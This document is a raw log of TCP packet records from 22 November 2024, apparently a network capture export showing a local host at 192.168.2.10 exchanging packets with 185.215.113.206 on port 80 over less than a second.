Nov 22, 2024 17:08:34.754751921 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.754796028 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.754889011 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.754929066 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.755887985 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.755942106 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.756086111 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.756125927 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.756789923 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.756829977 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.756869078 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.756908894 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.757699966 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.757740974 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.757853031 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.757898092 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.758501053 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.758538961 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.758784056 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.758827925 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.759428978 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.759505033 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.759505987 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.759553909 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.760545015 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.760639906 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.760657072 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.760762930 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.761504889 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.761553049 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.761643887 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.761885881 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.762327909 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.762377977 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.762438059 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.762475967 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.818108082 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.818183899 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.818234921 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.818423986 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.818495989 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.818548918 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.818665028 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.819478989 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.819539070 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.819572926 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.819627047 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.820370913 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.820416927 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.820496082 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.820550919 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.821293116 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.821345091 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.821383953 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.821432114 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.822276115 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.822329044 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.822370052 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.822413921 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.823183060 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.823231936 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.823290110 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.823349953 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.824125051 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.824166059 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.824219942 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.824261904 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.825073957 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.825118065 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.825248957 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.825295925 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.825967073 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.826011896 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.826050997 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.826098919 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.826915026 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.826963902 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.827028990 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.827074051 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.827862024 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.827929020 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.827985048 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.828031063 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.828841925 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.828886032 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.828923941 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.828969955 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.829801083 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.829821110 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.829853058 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.829869986 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.830662966 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.830712080 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.830857992 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.830904007 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.831569910 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.831617117 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.831703901 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.831747055 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.832511902 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.832552910 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.832629919 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.832669020 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.833498955 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.833545923 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.833640099 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.833684921 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.834496021 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.834541082 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.834626913 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.834685087 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.835331917 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.835411072 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.835433960 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.835479975 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.836245060 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.836294889 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.836421013 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.836467028 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.837222099 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.837272882 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.837305069 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.837357044 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.838135958 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.838184118 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.838428974 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.838470936 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.839008093 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.839055061 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.866522074 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.866565943 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.866576910 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.866601944 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.867007017 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.867050886 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.867074966 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.867114067 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.868036032 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.868081093 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.868166924 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.868216038 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.868891954 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.868937016 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.868978024 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.869023085 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.869791985 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.869844913 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.869863987 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.869904995 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.870698929 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.870747089 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.870781898 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.870819092 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.871752977 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.871794939 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.871855021 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.871896982 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.942694902 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.942744970 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.942816973 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.942846060 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.943173885 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.943228006 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.943300009 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.943345070 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.944097996 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.944144964 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.944164038 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.944205046 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.944979906 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.945033073 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.945099115 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.945139885 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.945919037 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.945974112 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.946002007 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.946038961 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.946860075 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.946913958 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.946995974 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.947041035 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.947835922 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.947880030 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.947886944 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.947915077 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.948729038 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.948791981 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.948822021 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.948868990 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.949714899 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.949773073 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.949805975 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.949846029 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.950593948 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.950647116 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.950683117 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.950727940 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.951551914 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.951610088 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.951659918 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.951703072 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.952440023 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.952506065 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.952558041 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.952601910 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.953383923 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.953449965 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.953476906 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.953525066 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.954320908 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.954355001 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.954374075 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.954394102 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.955231905 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.955286980 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.955336094 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.955398083 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.956181049 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.956232071 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.956265926 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.956305027 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.957129955 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.957190037 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.957216024 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.957257986 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.958139896 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.958189964 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.958199978 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.958234072 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.959028006 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.959075928 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.959219933 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.959261894 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.960032940 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.960083961 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.960117102 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.960158110 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.960829973 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.960875034 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.961008072 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.961055040 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.961745977 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.961788893 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.961853027 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.961898088 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.962733030 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.962774992 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.962868929 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.962908983 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:34.963609934 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:34.963653088 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.028974056 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.029098988 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.029128075 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.029161930 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.029500961 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.029547930 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.030143976 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.030194044 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.030385017 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.030428886 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.030478001 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.030519962 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.031357050 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.031400919 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.031527996 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.031569004 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.032259941 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.032309055 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.032309055 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.032342911 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.033251047 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.033294916 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.033329010 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.033364058 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.034152031 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.034195900 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.034275055 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.034312963 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.035067081 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.035110950 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.035183907 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.035224915 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.036047935 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.036087990 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.036143064 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.036176920 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.036907911 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.036947966 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.036971092 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.037007093 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.037831068 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.037875891 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.037921906 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.037966967 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.038750887 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.038799047 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.038836002 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.038877010 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.039701939 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.039742947 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.039833069 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.039870024 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.040646076 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.040693998 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.040777922 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.040818930 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.041554928 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.041601896 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.041683912 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.041737080 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.042536974 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.042581081 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.042721033 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.042767048 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.043416977 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.043469906 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.043535948 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.043576002 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.044361115 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.044404030 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.044486046 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.044526100 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.045281887 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.045325994 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.045397043 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.045437098 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.046215057 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.046266079 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.046308994 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.046350002 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.047141075 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.047184944 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.047194004 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.047228098 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.048099995 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.048151016 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.048186064 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:35.048223972 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:35.049041986 CET	80	49700	185.215.113.206	192.168.2.10
